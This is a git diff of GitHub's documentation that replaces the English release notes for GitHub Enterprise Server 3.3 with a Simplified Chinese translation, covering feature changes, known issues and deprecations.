https://github.com/github/releases/issues/1504 - - You can now search issues by label using a logical OR operator. To filter issues using logical OR, use the comma syntax. For example, `label:"good first issue","bug"` will list all issues with a label of `good first issue` or `bug`. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)." + - "现在可以使用逻辑 OR 运算符按标签搜索问题。若要使用逻辑 OR 筛选问题,请使用逗号语法。例如,`label:\"good first issue\",\"bug\"` 将列出标签为 `good first issue` 或 `bug` 的所有问题。有关详细信息,请参阅“[筛选和搜索问题以及拉取请求](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)”。" # https://github.com/github/releases/issues/1685 - - | - Improvements have been made to help teams manage code review assignments. You can now: + - |已进行改进以帮助团队管理代码评审分配。你现在可以: - - Limit assignment to only direct members of the team. - - Continue with automatic assignment even if one or more members of the team are already requested. - - Keep a team assigned to review even if one or more members is newly assigned. - The timeline and reviewers sidebar on the pull request page now indicate if a review request was automatically assigned to one or more team members. - For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/). - - You can now filter pull request searches to only include pull requests you are directly requested to review. +- 只分配给团队的直接成员。 + +- 即使已请求一个或多个团队成员,也会继续自动分配。 + +- 指定一个团队负责评审,即使新指定了一个或多个成员。 + + + +现在,拉取请求页面上的时间线和审阅者边栏将指示评审请求是否自动分配给了一个或多个团队成员。 + + + +有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/)。 + +| + - 现在,可以筛选拉取请求搜索,以只包含直接请求评审的拉取请求。 # https://github.com/github/releases/issues/1683 - - Filtered files in pull requests are now completely hidden from view, and are no longer shown as collapsed in the "Files Changed" tab. The "File Filter" menu has also been simplified. For more information, see "[Filtering files in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)." + - "拉取请求中的筛选文件现在完全隐藏在视图中,并且不再在“已更改的文件”选项卡中显示为折叠状态。“文件筛选器”菜单也得到了简化。有关详细信息,请参阅“[筛选拉取请求中的文件](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)”。" - - heading: 'GitHub Actions changes' + - heading: 'GitHub Actions 更改' notes: # https://github.com/github/releases/issues/1593 - - You can now create "composite actions" which combine multiple workflow steps into one action, and includes the ability to reference other actions. This makes it easier to reduce duplication in workflows. Previously, an action could only use scripts in its YAML definition. For more information, see "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)." + - "现在可以创建“复合操作”,将多个工作流步骤组合成一个操作,并包括引用其他操作的能力。这样可以更轻松地减少工作流中的重复。以前,操作只能在其 YAML 定义中使用脚本。有关详细信息,请参阅“[创建复合操作](/actions/creating-actions/creating-a-composite-action)”。" # https://github.com/github/releases/issues/1694 - - Managing self-hosted runners at the enterprise level no longer requires using personal access tokens with the `admin:enterprise` scope. You can instead use the new `manage_runners:enterprise` scope to restrict the permissions on your tokens. Tokens with this scope can authenticate to [many REST API endpoints](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) to manage your enterprise's self-hosted runners. + - "在企业级别管理自承载运行器不再需要使用具有“admin:enterprise”范围的个人访问令牌。可以改用新的 `manage_runners:enterprise` 范围来限制令牌上的权限。具有此范围的令牌可以向[许多 REST API 终结点](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise)进行身份验证,以管理企业的自承载运行器。" # https://github.com/github/releases/issues/1157 - - | - The audit log now includes additional events for {% data variables.product.prodname_actions %}. Audit log entries are now recorded for the following events: + - |审核日志现在包括 {% data variables.product.prodname_actions %} 的其他事件。现记录以下事件的审核日志条目: - * A self-hosted runner is registered or removed. - * A self-hosted runner is added to a runner group, or removed from a runner group. - * A runner group is created or removed. - * A workflow run is created or completed. - * A workflow job is prepared. Importantly, this log includes the list of secrets that were provided to the runner. - For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)." +* 注册或移除自承载运行器。 + +* 将自承载运行器添加到运行器组中或从运行器组中移除。 + +* 创建或移除运行器组。 + +* 创建或完成工作流运行。 + +* 工作流作业准备就绪。重要的是,该日志包括提供给运行器的机密列表。 + + + +有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的安全强化](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)”。 + +| # https://github.com/github/releases/issues/1588 - - '{% data variables.product.prodname_ghe_server %} 3.3 contains performance improvements for job concurrency with {% data variables.product.prodname_actions %}. For more information about the new performance targets for a range of CPU and memory configurations, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)."' + - '{% data variables.product.prodname_ghe_server %} 3.3 包含对 {% data variables.product.prodname_actions %} 作业并发的性能改进。有关一系列 CPU 和内存配置的新性能目标的详细信息,请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 入门](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)”。' # https://github.com/github/releases/issues/1556 - - To mitigate insider man in the middle attacks when using actions resolved through {% data variables.product.prodname_github_connect %} to {% data variables.product.prodname_dotcom_the_website %} from {% data variables.product.prodname_ghe_server %}, the actions namespace (`owner/name`) is retired on use. Retiring the namespace prevents that namespace from being created on your {% data variables.product.prodname_ghe_server %} instance, and ensures all workflows referencing the action will download it from {% data variables.product.prodname_dotcom_the_website %}. + - "当使用通过 {% data variables.product.prodname_github_connect %} 从 {% data variables.product.prodname_ghe_server %} 解析到 {% data variables.product.prodname_dotcom_the_website %} 的操作时,为了缓解内部中间人攻击,在使用时停用操作命名空间 (`owner/name`)。停用命名空间可以防止在 {% data variables.product.prodname_ghe_server %} 实例上创建该命名空间,并确保所有引用该操作的工作流都将从 {% data variables.product.prodname_dotcom_the_website %} 下载它。" - - heading: 'GitHub Packages changes' + - heading: 'GitHub Packages 更改' notes: # https://github.com/github/docs-content/issues/5554 - - When a repository is deleted, any associated package files are now immediately deleted from your {% data variables.product.prodname_registry %} external storage. + - "删除存储库后,现在会立即从 {% data variables.product.prodname_registry %} 外部存储中删除任何关联的包文件。" - - heading: 'Dependabot and Dependency graph changes' + - heading: 'Dependabot 和依赖项关系图更改' notes: # https://github.com/github/releases/issues/1141 - - Dependency review is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Dependency review provides an easy-to-understand view of dependency changes and their security impact in the "Files changed" tab of pull requests. It informs you of which dependencies were added, removed, or updated, along with vulnerability information. For more information, see "[Reviewing dependency changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)." + - "依赖项审查已完成测试,现在通常可供 {% data variables.product.prodname_GH_advanced_security %} 客户使用。依赖项审查在拉取请求的“已更改的文件”选项卡中提供依赖项更改及其安全影响的易于理解的视图。视图中将显示已添加、移除或更新了哪些依赖项以及漏洞信息。有关详细信息,请参阅“[审查拉取请求中的依赖项更改](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)”。" # https://github.com/github/releases/issues/1630 - - '{% data variables.product.prodname_dependabot %} is now available as a private beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} to be enabled. To learn more and sign up for the beta, contact the GitHub Sales team.' + - '{% data variables.product.prodname_dependabot %} 现在作为专用测试版提供,为多个常用生态系统提供版本更新和安全更新。{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_dependabot %} 需要 {% data variables.product.prodname_actions %} 和为 {% data variables.product.prodname_dependabot %} 使用而配置的自承载运行器池。{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_dependabot %} 还需要启用 {% data variables.product.prodname_github_connect %}。若要了解详细信息并注册测试版,请联系 GitHub 销售团队。' - - heading: 'Code scanning and secret scanning changes' + - heading: '代码扫描和机密扫描更改' notes: # https://github.com/github/releases/issues/1724 - - The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) and increasing the coverage of our existing library and framework models. [JavaScript](https://github.com/github/codeql/tree/main/javascript) analysis now supports most common templating languages, and [Java](https://github.com/github/codeql/tree/main/java) now covers more than three times the endpoints of previous {% data variables.product.prodname_codeql %} versions. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. + - "{% data variables.product.prodname_codeql %} 的分析深度已通过添加对更多[库和框架](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)的支持得到改进,并增加我们现有库和框架模型的覆盖范围。[JavaScript](https://github.com/github/codeql/tree/main/javascript) 分析现在支持最常见的模板语言,[Java](https://github.com/github/codeql/tree/main /java) 现在覆盖的终结点超过以前 {% data variables.product.prodname_codeql %} 版本的三倍。因此,{% data variables.product.prodname_codeql %} 现在可以检测更多不受信任的用户数据的潜在来源、数据流经的步骤以及数据可能最终到达的潜在危险接收器。这使得 {% data variables.product.prodname_code_scanning %} 警报的质量得到了全面的提高。" # https://github.com/github/releases/issues/1639 - - '{% data variables.product.prodname_codeql %} now supports scanning standard language features in Java 16, such as records and pattern matching. {% data variables.product.prodname_codeql %} is able to analyze code written in Java version 7 through 16. For more information about supported languages and frameworks, see the [{% data variables.product.prodname_codeql %} documentation](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).' + - '{% data variables.product.prodname_codeql %} 现在支持扫描 Java 16 中的标准语言功能,例如记录和模式匹配。{% data variables.product.prodname_codeql %} 能够分析用 Java 版本 7 到 16 编写的代码。有关支持的语言和框架的详细信息,请参阅 [{% data variables.product.prodname_codeql %} 文档](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/# id5)。' # https://github.com/github/releases/issues/1655 - - | - Improvements have been made to the {% data variables.product.prodname_code_scanning %} `on:push` trigger when code is pushed to a pull request. If an `on:push` scan returns results that are associated with a pull request, {% data variables.product.prodname_code_scanning %} will now show these alerts on the pull request. + - |将代码推送到拉取请求时,对 {% data variables.product.prodname_code_scanning %} `on:push` 触发器进行了改进。如果 `on:push` 扫描返回与拉取请求关联的结果,{% data variables.product.prodname_code_scanning %} 现在将在拉取请求上显示这些警报。 - Some other CI/CD systems can be exclusively configured to trigger a pipeline when code is pushed to a branch, or even exclusively for every commit. Whenever such an analysis pipeline is triggered and results are uploaded to the SARIF API, {% data variables.product.prodname_code_scanning %} will also try to match the analysis results to an open pull request. If an open pull request is found, the results will be published as described above. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/). + +其他一些 CI/CD 系统可以专门配置为在代码被推送到分支时触发管道,甚至专门配置为在每次提交时触发管道。每当触发此类分析管道并将结果上传到 SARIF API 时,{% data variables.product.prodname_code_scanning %} 还将尝试将分析结果与一个打开的拉取请求相匹配。如果找到一个打开的拉取请求,结果发布将如上所述。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/)。 + +| # https://github.com/github/releases/issues/1546 - - You can now use the new pull request filter on the {% data variables.product.prodname_code_scanning %} alerts page to find all the {% data variables.product.prodname_code_scanning %} alerts associated with a pull request. A new "View all branch alerts" link on the pull request "Checks" tab allows you to directly view {% data variables.product.prodname_code_scanning %} alerts with the specific pull request filter already applied. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/). + - "你现在可以在 {% data variables.product.prodname_code_scanning %} 警报页面上使用新的拉取请求筛选器来查找与拉取请求关联的所有 {% data variables.product.prodname_code_scanning %} 警报。拉取请求“检查”选项卡上的新“查看所有分支警报”链接允许你直接查看已应用特定拉取请求筛选器的 {% data variables.product.prodname_code_scanning %} 警报。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/)。" # https://github.com/github/releases/issues/1562 - - User defined patterns for {% data variables.product.prodname_secret_scanning %} is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Also new in this release is the ability to edit custom patterns defined at the repository, organization, and enterprise levels. After editing and saving a pattern, {% data variables.product.prodname_secret_scanning %} searches for matches both in a repository's entire Git history and in any new commits. Editing a pattern will close alerts previously associated with the pattern if they no longer match the updated version. Other improvements, such as dry-runs, are planned in future releases. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + - "{% data variables.product.prodname_secret_scanning %} 的用户定义模式已完成测试,现在通常可供 {% data variables.product.prodname_GH_advanced_security %} 客户使用。此版本中的另一个新功能是能够编辑在存储库、组织和企业级别定义的自定义模式。编辑并保存模式后,{% data variables.product.prodname_secret_scanning %} 在存储库的整个 Git 历史记录和任何新提交中搜索匹配项。对某个模式进行编辑会关闭以前与该模式关联的警报(如果它们不再匹配更新的版本)。计划在未来的版本中进行其他改进(例如试运行)。有关详细信息,请参阅“[定义机密扫描的自定义模式](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)”。" - - heading: API and webhook changes + - heading: API 和 Webhook 更改 notes: # https://github.com/github/releases/issues/1744 - - Most REST API previews have graduated and are now an official part of the API. Preview headers are no longer required for most REST API endpoints, but will still function as expected if you specify a graduated preview in the `Accept` header of a request. For previews that still require specifying the preview in the `Accept` header of a request, see "[API previews](/rest/overview/api-previews)." + - "大多数 REST API 预览现已完结,并成为 API 的正式组成部分。大多数 REST API 终结点不再需要预览标头,但如果你继续在请求的 `Accept` 标头中指定已完结预览,那么它仍将按预期发挥作用。对于仍需要在请求的 `Accept` 标头中指定预览的预览版,请参阅“[API 预览](/rest/overview/api-previews)”。" # https://github.com/github/releases/issues/1513 - - You can now use the REST API to configure custom autolinks to external resources. The REST API now provides beta `GET`/`POST`/`DELETE` endpoints which you can use to view, add, or delete custom autolinks associated with a repository. For more information, see "[Autolinks](/rest/reference/repos#autolinks)." + - "现在可以使用 REST API 配置外部资源的自定义自动链接。REST API 现在提供测试版 `GET`/`POST`/`DELETE` 终结点,你可以使用这些终结点查看、添加或删除与存储库关联的自定义自动链接。有关详细信息,请参阅“[自动链接](/rest/reference/repos#autolinks)”。" # https://github.com/github/releases/issues/1578 - - You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Branches](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation. + - "现在可以使用 REST API 将分支存储库与其上游存储库同步。有关详细信息,请参阅 REST API 文档中的“[分支](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)”。" # https://github.com/github/releases/issues/1527 - - Enterprise administrators on GitHub Enterprise Server can now use the REST API to enable or disable Git LFS for a repository. For more information, see "[Repositories](/rest/reference/repos#git-lfs)." + - "GitHub Enterprise Server 上的企业管理员现在可以使用 REST API 为存储库启用或禁用 Git LFS。有关详细信息,请参阅“[存储库](/rest/reference/repos#git-lfs)”。" # https://github.com/github/releases/issues/1476 - - You can now use the REST API to query the audit log for an enterprise. While audit log forwarding provides the ability to retain and analyze data with your own toolkit and determine patterns over time, the new endpoint can help you perform limited analysis on recent events. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" in the REST API documentation. + - "现在可以使用 REST API 查询企业的审核日志。虽然审核日志转发使你能够使用自己的工具包保留和分析数据并随时间的推移确定模式,但新的终结点将帮助你对最近发生的事件执行有限的分析。有关详细信息,请参阅 REST API 文档中的“[{% data variables.product.prodname_enterprise %} 管理](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)”。" # https://github.com/github/releases/issues/1485 - - GitHub App user-to-server API requests can now read public resources using the REST API. This includes, for example, the ability to list a public repository's issues and pull requests, and to access a public repository's comments and content. + - GitHub 应用用户到服务器 API 请求现在可以使用 REST API 读取公共资源。例如,这包括能够列出公共存储库的问题和拉取请求以及访问公共存储库的注释和内容。 # https://github.com/github/releases/issues/1734 - - When creating or updating a repository, you can now configure whether forking is allowed using the REST and GraphQL APIs. Previously, APIs for creating and updating repositories didn't include the fields `allow_forking` (REST) or `forkingAllowed` (GraphQL). For more information, see "[Repositories](/rest/reference/repos)" in the REST API documentation and "[Repositories](/graphql/reference/objects#repository)" in the GraphQL API documentation. + - "创建或更新存储库时,现在可以使用 REST 和 GraphQL API 配置是否允许创建分支。以前,用于创建和更新存储库的 API 不包括字段 `allow_forking` (REST) 或 `forkingAllowed` (GraphQL)。有关详细信息,请参阅 REST API 文档中的“[存储库](/rest/reference/repos)”和 GraphQL API 文档中的“[存储库](/graphql/reference/objects#repository)”。" # https://github.com/github/releases/issues/1637 - - | - A new GraphQL mutation [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) makes it easier to add, update, and delete files in a branch of a repository. Compared to the REST API, you do not need to manually create blobs and trees before creating the commit. This allows you to add, update, or delete multiple files in a single API call. + - |新的 GraphQL 突变 [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) 使得更易于在存储库的分支中添加、更新和删除文件。与 REST API 相比,无需在创建提交之前手动创建 Blob 和树。这允许你在单个 API 调用中添加、更新或删除多个文件。 - Commits authored using the new API are automatically GPG signed and are [marked as verified](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) in the {% data variables.product.prodname_ghe_server %} UI. GitHub Apps can use the mutation to author commits directly or [on behalf of users](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests). + +使用新 API 编写的提交会自动进行 GPG 签名,并在 {% data variables.product.prodname_ghe_server %} UI 中[标记为已验证](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification)。GitHub 应用可以使用突变直接或[代表用户](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)编写提交。 + +| # https://github.com/github/releases/issues/1665 - - When a new tag is created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload's `after` commit. + - "创建新标记时,[推送](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) Webhook 有效负载现始终包括 `head_commit` 对象,其中包含新标记指向的提交数据。因此,`head_commit` 对象将始终包含有效负载 `after` 提交的提交数据。" - - heading: 'Performance Changes' + - heading: '性能更改' notes: # https://github.com/github/releases/issues/1823 - - Page loads and jobs are now significantly faster for repositories with many Git refs. + - 对于有很多 Git 引用的存储库,页面加载和作业现在显著更快。 # No security/bug fixes for the RC release # security_fixes: @@ -243,63 +290,74 @@ sections: # - PLACEHOLDER known_issues: - - After upgrading to {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_actions %} may fail to start automatically. To resolve this issue, connect to the appliance via SSH and run the `ghe-actions-start` command. - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - '{% data variables.product.prodname_actions %} storage settings cannot be validated and saved in the {% data variables.enterprise.management_console %} when "Force Path Style" is selected, and must instead be configured with the `ghe-actions-precheck` command line utility.' - - '{% data variables.product.prodname_ghe_server %} 3.3 instances installed on Azure and provisioned with 32+ CPU cores would fail to launch, due to a bug present in the current Linux kernel. [Updated: 2022-04-08]' + - "升级到 {% data variables.product.prodname_ghe_server %} 3.3 后,{% data variables.product.prodname_actions %} 可能无法自动启动。若要解决此问题,请通过 SSH 连接到设备并运行 `ghe-actions-start` 命令。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '选择“强制路径样式”时,无法验证 {% data variables.product.prodname_actions %} 存储设置并将其保存在 {% data variables.enterprise.management_console %} 中,而必须使用 `ghe-actions-precheck` 命令行实用程序进行配置。' + - '由于当前 Linux 内核中存在 bug,安装在 Azure 上并预配了 32 个以上 CPU 内核的 {% data variables.product.prodname_ghe_server %} 3.3 实例将无法启动。[更新时间:2022-04-08]' - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' deprecations: - - heading: Deprecation of GitHub Enterprise Server 2.22 + - heading: 弃用 GitHub Enterprise Server 2.22 notes: - - '**{% data variables.product.prodname_ghe_server %} 2.22 was discontinued on September 23, 2021**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' - - heading: Deprecation of GitHub Enterprise Server 3.0 + - '**{% data variables.product.prodname_ghe_server %} 2.22 已于 2021 年 9 月 23 日停用**。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 GitHub Enterprise Server 3.0 notes: - - '**{% data variables.product.prodname_ghe_server %} 3.0 will be discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - '**{% data variables.product.prodname_ghe_server %} 3.0 将于 2022 年 2 月 16 日停用**。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server)。' - - heading: Deprecation of XenServer Hypervisor support + - heading: 弃用 XenServer Hypervisor 支持 notes: # https://github.com/github/docs-content/issues/4439 - - Starting with {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer is deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + - "从 {% data variables.product.prodname_ghe_server %} 3.3 开始,XenServer 上的 {% data variables.product.prodname_ghe_server %} 已弃用且不再受支持。如有问题或疑虑,请联系 [GitHub 支持](https://support.github.com)。" - - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + - heading: 弃用 OAuth 应用程序 API 终结点和使用查询参数的 API 身份验证 notes: # https://github.com/github/releases/issues/1316 - - | - To prevent accidental logging or exposure of `access_tokens`, we discourage the use of OAuth Application API endpoints and the use of API authentication using query parameters. View the following posts to see the proposed replacements: + - |为防止意外记录或公开 `access_tokens`,我们不鼓励使用 OAuth 应用程序 API 终结点和使用查询参数进行 API 身份验证。浏览以下帖子,查看建议的替换: - * [Replacement OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make) - * [Replacement authentication using headers instead of query param](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make) - These endpoints and authentication route are planned to be removed from {% data variables.product.prodname_ghe_server %} in {% data variables.product.prodname_ghe_server %} 3.4. - - heading: Deprecation of the CodeQL runner +* [替换 OAuth 应用程序 API 终结点](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make) + +* [使用标头而不是查询参数替换身份验证](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make) + + + +这些终结点和身份验证路由计划从 {% data variables.product.prodname_ghe_server %} 3.4 中的 {% data variables.product.prodname_ghe_server %} 中删除。 + +| + - heading: 弃用 CodeQL 运行器 notes: # https://github.com/github/releases/issues/1632 - - The {% data variables.product.prodname_codeql %} runner is being deprecated. {% data variables.product.prodname_ghe_server %} 3.3 will be the final release series that supports the {% data variables.product.prodname_codeql %} runner. Starting with {% data variables.product.prodname_ghe_server %} 3.4, the {% data variables.product.prodname_codeql %} runner will be removed and no longer supported. The {% data variables.product.prodname_codeql %} CLI version 2.6.2 or greater is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + - "{% data variables.product.prodname_codeql %} 运行器已弃用。{% data variables.product.prodname_ghe_server %} 3.3 将是支持 {% data variables.product.prodname_codeql %} 运行器的最终版本系列。从 {% data variables.product.prodname_ghe_server %} 3.4 开始,{% data variables.product.prodname_codeql %} 运行器将被删除并且不再受支持。{% data variables.product.prodname_codeql %} CLI 版本 2.6.2 或更高版本是 {% data variables.product.prodname_codeql %} 运行器的功能完整的替代项。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/)。" - - heading: Deprecation of custom bit-cache extensions + - heading: 弃用自定义位缓存扩展 notes: # https://github.com/github/releases/issues/1415 - - | - Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are now deprecated in {% data variables.product.prodname_ghe_server %} 3.3. + - |从 {% data variables.product.prodname_ghe_server %} 3.1 开始,开始逐渐停用对 {% data variables.product.company_short %} 的专有位缓存扩展的支持。这些扩展在 {% data variables.product.prodname_ghe_server %} 3.3 中现已弃用。 - Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. - Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. - To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the **Schedule** button. +运行版本 3.1 或 3.2 的 {% data variables.product.product_location %} 上已经存在并处于活动状态的任何存储库都将自动更新。 - - heading: Change to the format of authentication tokens affects GitHub Connect + + +在升级到 {% data variables.product.prodname_ghe_server %} 3.3 之前不存在且处于活动状态的存储库可能无法以最佳方式执行,直到运行存储库维护任务并成功完成。 + + + +若要手动启动存储库维护任务,请浏览到 `https:///stafftools/repositories///network` 查看每个受影响的存储库,然后单击**“计划”**按钮。 + +| + - heading: 更改身份验证令牌的格式会影响 GitHub Connect notes: # https://github.com/github/releases/issues/1235 - - | - GitHub Connect will no longer work after June 3rd for instances running GitHub Enterprise Server 3.1 or older, due to the format of GitHub authentication tokens changing. To continue using GitHub Connect, upgrade to GitHub Enterprise Server 3.2 or later. For more information, see the [GitHub Blog](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/). [Updated: 2022-06-14] + - |由于 GitHub 身份验证令牌的格式发生变化,6 月 3 日之后,运行 GitHub Enterprise Server 3.1 或更早版本的实例将不再使用 GitHub Connect。若要继续使用 GitHub Connect,请升级到 GitHub Enterprise Server 3.2 或更高版本。有关详细信息,请参阅 [GitHub 博客](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/)。[更新时间:2022-06-14] +| backups: - - '{% data variables.product.prodname_ghe_server %} 3.3 requires at least [GitHub Enterprise Backup Utilities 3.3.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' + - '{% data variables.product.prodname_ghe_server %} 3.3 至少需要 [GitHub Enterprise Backup Utilities 3.3.0](https://github.com/github/backup-utils) 进行[备份和灾难恢复](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-3/12.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-3/12.yml index e3c6861f08..3db0b42e48 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-3/12.yml +++ 